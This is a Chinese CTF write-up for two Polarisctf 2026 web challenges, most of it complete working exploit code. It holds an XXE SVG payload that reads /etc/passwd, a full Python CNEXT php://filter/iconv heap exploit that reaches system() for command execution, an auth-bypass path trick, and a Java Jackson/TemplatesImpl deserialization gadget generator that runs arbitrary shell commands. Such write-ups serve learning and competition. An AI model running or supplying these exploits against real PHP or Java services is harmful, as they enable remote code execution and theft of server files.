Polarisctf 2026

头像上传器

/api/avatar.php 可以打 XXE,可以解析 php://filter所以直接打 filter-chain,

POST /api/upload.php HTTP/1.1
Host: 80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn
Content-Length: 392
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBn7FqU28RNwXElDx
Accept: */*
Origin: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn
Referer: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn/home.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: _ga=GA1.1.360932415.1774506199; _clck=1j4ja68%5E2%5Eg4r%5E0%5E2276; _ga_BFDVYZJ3DE=GS2.1.s1774772786$o6$g0$t1774772786$j60$l0$h0; _clsk=970rhe%5E1774772788346%5E1%5E1%5Ei.clarity.ms%2Fcollect; PHPSESSID=j6eirikj9ds15has0ctqptmiro
Connection: keep-alive

------WebKitFormBoundaryBn7FqU28RNwXElDx
Content-Disposition: form-data; name="file"; filename="1.svg"
Content-Type: image/svg+xml

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="0" y="20">&xxe;</text>
</svg>

------WebKitFormBoundaryBn7FqU28RNwXElDx--

保存

POST /api/update_profile.php HTTP/1.1
Host: 80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn
Content-Length: 60
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn
Referer: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn/home.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: _ga=GA1.1.360932415.1774506199; _clck=1j4ja68%5E2%5Eg4r%5E0%5E2276; _ga_BFDVYZJ3DE=GS2.1.s1774772786$o6$g0$t1774772786$j60$l0$h0; _clsk=970rhe%5E1774772788346%5E1%5E1%5Ei.clarity.ms%2Fcollect; PHPSESSID=j6eirikj9ds15has0ctqptmiro
Connection: keep-alive

{"display_name":"test","avatar_name":"0b403f917f196872.svg"}

读取

GET /api/avatar.php HTTP/1.1
Host: 80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: _ga=GA1.1.360932415.1774506199; _clck=1j4ja68%5E2%5Eg4r%5E0%5E2276; _ga_BFDVYZJ3DE=GS2.1.s1774772786$o6$g0$t1774772786$j60$l0$h0; _clsk=970rhe%5E1774772788346%5E1%5E1%5Ei.clarity.ms%2Fcollect; PHPSESSID=j6eirikj9ds15has0ctqptmiro
Connection: keep-alive

不得不说这题很不错,

## https://github.com/kezibei/php-filter-iconv
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import base64
import html
import random
import re
import string
import time
import zlib
from dataclasses import dataclass
from pathlib import Path

import requests
from pwn import ELF, p64


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
FILTERS = [
    "zlib.inflate",
    "zlib.inflate",
    "dechunk",
    "convert.iconv.latin1.latin1",
    "dechunk",
    "convert.iconv.latin1.latin1",
    "dechunk",
    "convert.iconv.latin1.latin1",
    "dechunk",
    "convert.iconv.UTF-8.ISO-2022-CN-EXT",
    "convert.quoted-printable-decode",
    "convert.iconv.latin1.latin1",
]


@dataclass
class Region:
    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


def chunked_chunk(data: bytes, size: int | None = None) -> bytes:
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


def compressed_bucket(data: bytes) -> bytes:
    return chunked_chunk(data, 0x8000)


def compress_raw(data: bytes) -> bytes:
    return zlib.compress(data, 9)[2:-4]


def qpe(data: bytes) -> bytes:
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs: int, size: int | None = None) -> bytes:
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    return compressed_bucket(bucket)


def parse_regions(maps: bytes) -> list[Region]:
    regions = []
    pattern = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)"
    )
    for line in maps.decode("utf-8", "ignore").splitlines():
        match = pattern.match(line)
        if not match:
            continue
        start = int(match.group(1), 16)
        stop = int(match.group(2), 16)
        permissions = match.group(3)
        path = match.group(4)
        if "/" in path or "[" in path:
            path = path.rsplit(" ", 1)[-1]
        else:
            path = ""
        regions.append(Region(start, stop, permissions, path))
    return regions


def find_main_heap(regions: list[Region]) -> int:
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE - 1) == 0
        and region.path in ("", "[anon:zend_alloc]")
    ]
    if not heaps:
        raise RuntimeError("unable to find zend heap")
    return heaps[0]


def find_libc_region(regions: list[Region]) -> Region:
    for region in regions:
        if "libc-" in region.path or "libc.so" in region.path:
            return region
    raise RuntimeError("unable to find libc mapping")


def build_resource(libc: ELF, heap: int, command: str, pad: int, sleep: int) -> bytes:
    addr_emalloc = libc.symbols["__libc_malloc"]
    addr_efree = libc.symbols["__libc_system"]
    addr_erealloc = libc.symbols["__libc_realloc"]
    addr_free_slot = heap + 0x20
    addr_custom_heap = heap + 0x0168
    addr_fake_bin = addr_free_slot - 0x10
    chunk_size = 0x100

    pad_size = chunk_size - 0x18
    pad_block = b"\x00" * pad_size
    pad_block = chunked_chunk(pad_block, len(pad_block) + 6)
    pad_block = chunked_chunk(pad_block, len(pad_block) + 6)
    pad_block = chunked_chunk(pad_block, len(pad_block) + 6)
    pad_block = compressed_bucket(pad_block)

    step1 = b"\x00"
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, chunk_size)
    step1 = compressed_bucket(step1)

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, chunk_size)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(addr_fake_bin)
    step2_write_ptr = chunked_chunk(step2_write_ptr, chunk_size)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3 = b"\x00" * chunk_size
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (chunk_size - len(BUG)) + BUG
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4 = b"=00" + b"\x00" * (chunk_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    step4_pwn = ptr_bucket(
        0x200000,
        0,
        0,
        0,
        addr_custom_heap,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        heap,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=chunk_size,
    )

    step4_custom_heap = ptr_bucket(addr_emalloc, addr_efree, addr_erealloc, size=0x18)

    command = f"kill -9 $PPID; {command}"
    if sleep:
        command = f"sleep {sleep}; {command}"
    command_bytes = command.encode() + b"\x00"
    command_bytes = command_bytes.ljust(0x140, b"\x00")

    step4_use_custom_heap = qpe(command_bytes)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = (
        step4 * 3
        + step4_pwn
        + step4_custom_heap
        + step4_use_custom_heap
        + step3_overflow
        + pad_block * pad
        + step1 * 3
        + step2_write_ptr
        + step2 * 2
    )
    return compress_raw(compress_raw(pages))


class Exploit:
    def __init__(self, base_url: str) -> None:
        self.base_url = base_url.rstrip("/")
        self.session = requests.Session()
        self.session.headers["User-Agent"] = "Mozilla/5.0 nested-cnext-xxe"
        self._login()

    @staticmethod
    def _rand(length: int = 8) -> str:
        alphabet = string.ascii_lowercase + string.digits
        return "".join(random.choice(alphabet) for _ in range(length))

    def _login(self) -> None:
        username = f"u{self._rand()}"
        password = f"P{self._rand(10)}"
        self.session.post(
            f"{self.base_url}/api/register.php",
            json={"username": username, "password": password},
            timeout=15,
        ).raise_for_status()
        self.session.post(
            f"{self.base_url}/api/login.php",
            json={"username": username, "password": password},
            timeout=15,
        ).raise_for_status()

    def upload_raw(self, name: str, body: bytes, ctype: str = "application/octet-stream") -> str:
        response = self.session.post(
            f"{self.base_url}/api/upload.php",
            files={"file": (name, body, ctype)},
            timeout=20,
        )
        response.raise_for_status()
        return response.json()["name"]

    def trigger_uri(self, uri: str) -> requests.Response:
        svg = (
            f'<?xml version="1.0"?>'
            f'<!DOCTYPE svg [<!ENTITY xxe SYSTEM "{html.escape(uri, quote=True)}">]>'
            f'<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>'
        ).encode()
        avatar_name = self.upload_raw("p.svg", svg, "image/svg+xml")
        self.session.post(
            f"{self.base_url}/api/update_profile.php",
            json={"display_name": "x", "avatar_name": avatar_name},
            timeout=15,
        ).raise_for_status()
        return self.session.get(f"{self.base_url}/api/avatar.php", timeout=20)

    def read_file(self, path: str) -> bytes:
        response = self.trigger_uri(f"php://filter/convert.base64-encode/resource={path}")
        match = re.search(r"<text[^>]*>(.*?)</text>", response.text, re.S)
        if not match:
            raise RuntimeError(f"no xxe text for {path}: {response.text[:120]!r}")
        return base64.b64decode(html.unescape(match.group(1)).strip() + "===", validate=False)

    def build_nested_payload(self, command: str, pad: int, sleep: int) -> str:
        maps = self.read_file("/proc/self/maps")
        regions = parse_regions(maps)
        heap = find_main_heap(regions)
        libc_region = find_libc_region(regions)
        libc_bytes = self.read_file(libc_region.path)

        workdir = Path("/tmp/exp_nested_cnext_xxe")
        workdir.mkdir(parents=True, exist_ok=True)
        libc_path = workdir / "libc.so"
        libc_path.write_bytes(libc_bytes)

        libc = ELF(str(libc_path), checksec=False)
        libc.address = libc_region.start

        resource = build_resource(libc, heap, command, pad, sleep)
        blob_name = self.upload_raw("blob.gif", resource, "image/gif")
        path = f"/var/www/html/uploads/{blob_name}"
        for flt in FILTERS:
            path = f"php://filter/read={flt}/resource={path}"
        return path

    def run(self, command: str, output_name: str, pad: int, sleep: int) -> str:
        payload = self.build_nested_payload(command, pad, sleep)
        self.trigger_uri(payload)
        time.sleep(sleep + 1)
        response = requests.get(f"{self.base_url}/uploads/{output_name}", timeout=10)
        response.raise_for_status()
        return response.text


def main() -> None:
    parser = argparse.ArgumentParser(description="Nested php://filter CNEXT XXE exploit")
    parser.add_argument("url", help="Challenge base URL")
    parser.add_argument(
        "--command",
        default='sh -c "/readflag" >/var/www/html/uploads/flag.txt 2>&1',
        help="Command executed through system()",
    )
    parser.add_argument("--output", default="flag.txt", help="File created under /uploads/")
    parser.add_argument("--pad", type=int, default=20, help="Padding chunk count")
    parser.add_argument("--sleep", type=int, default=1, help="Exploit sleep value")
    args = parser.parse_args()

    data = Exploit(args.url).run(args.command, args.output, args.pad, args.sleep)
    print(data)


if __name__ == "__main__":
    main()



## python3 exp.py 'http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn'

polaris oa

这题主要是测试 Codex 和 jar-analyzer 之前的合作,首先我让 Codex 自行配对了 MCP

https://fushuling.com/index.php/2025/08/17/%e7%bb%95%e8%bf%87%e8%a1%a5%e4%b8%81%ef%bc%8c%e5%86%8d%e6%ac%a1%e5%ae%9e%e7%8e%b0%e5%8d%8e%e5%a4%8ferp%e6%9c%aa%e6%8e%88%e6%9d%83rce%e5%b7%b2%e4%bf%ae%e5%a4%8d/ 这里面涉及的越权姿势有异曲同工一秒,直接/user/..;1=1/admin就可以到管理员面板了,然后正常审计整个漏洞链为

越权 → 上传文件 → parseService 生成 _parsed → checkIsSign 路径穿越覆写 _parsed → deserializeData 触发反序列化,这里直接打 Jackson 链就行。

https://baozongwi.xyz/p/jackson-deserialization/#signobjectgetobject

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javassist.CtNewConstructor;
import javassist.CtNewMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import java.io.Serializable;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;

public class JacksonSignedObjectGenerator {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.err.println("Usage: JacksonSignedObjectGenerator <output.ser> <command>");
            System.exit(1);
        }

        String outputFile = args[0];
        String command = args[1];
        byte[] payload = buildPayload(command);

        try (FileOutputStream fos = new FileOutputStream(outputFile)) {
            fos.write(payload);
        }

        System.out.println("wrote " + outputFile + " (" + payload.length + " bytes)");
    }

    private static byte[] buildPayload(String command) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", new byte[][]{createTransletBytes(command)});

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.generateKeyPair();
        Object proxyTemplates = getPojoNodeStableProxy(templates);
        SignedObject signedObject = new SignedObject((Serializable) proxyTemplates, keyPair.getPrivate(), Signature.getInstance("DSA"));

        ClassPool pool = ClassPool.getDefault();
        CtClass nodeClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = nodeClass.getDeclaredMethod("writeReplace");
        nodeClass.removeMethod(writeReplace);
        nodeClass.toClass();

        POJONode jsonNode = new POJONode(signedObject);
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        setFieldValue(exception, "val", jsonNode);

        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(exception);
        }
        return baos.toByteArray();
    }

    private static byte[] createTransletBytes(String command) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        String className = "JacksonExploitTranslet" + System.nanoTime();
        CtClass clazz = pool.makeClass(className);
        clazz.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        clazz.addConstructor(CtNewConstructor.defaultConstructor(clazz));

        CtConstructor clinit = clazz.makeClassInitializer();
        clinit.setBody(buildStaticInitializer(command));

        clazz.addMethod(CtNewMethod.make(
                "public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                        "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) " +
                        "throws com.sun.org.apache.xalan.internal.xsltc.TransletException {}", clazz));
        clazz.addMethod(CtNewMethod.make(
                "public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                        "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                        "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) " +
                        "throws com.sun.org.apache.xalan.internal.xsltc.TransletException {}", clazz));

        byte[] bytes = clazz.toBytecode();
        clazz.detach();
        return bytes;
    }

    private static String buildStaticInitializer(String command) {
        String escaped = command
                .replace("\\", "\\\\")
                .replace("\"", "\\\"");
        return "{"
                + "try {"
                + "  java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"" + escaped + "\"});"
                + "} catch (Throwable t) {"
                + "  t.printStackTrace();"
                + "}"
                + "}";
    }

    private static Object getPojoNodeStableProxy(Object templatesImpl) throws Exception {
        Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> constructor = proxyClass.getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);

        return Proxy.newProxyInstance(
                proxyClass.getClassLoader(),
                new Class[]{Templates.class, Serializable.class},
                handler
        );
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field targetField = null;
        Class<?> current = obj.getClass();
        while (current != null) {
            try {
                targetField = current.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException ignored) {
                current = current.getSuperclass();
            }
        }
        if (targetField == null) {
            throw new NoSuchFieldException(fieldName);
        }
        targetField.setAccessible(true);
        targetField.set(obj, value);
    }
}

看到 start.sh

#!/bin/sh

if [ "$FLAG" ]; then
    echo $FLAG > /f14g
    chmod 444 /f14g
    export FLAG=""
fi

java -jar /app/polaris.jar

小结

其他题不想写,这两题比较有意思,这个XXE打filter-chain,我之前看了很多次的CMS,硬是没找到这种利用的,出题人film应该是写了文件包含触发协议的那种方式,挺好的一道题目🤤

Licensed under CC BY-NC-SA 4.0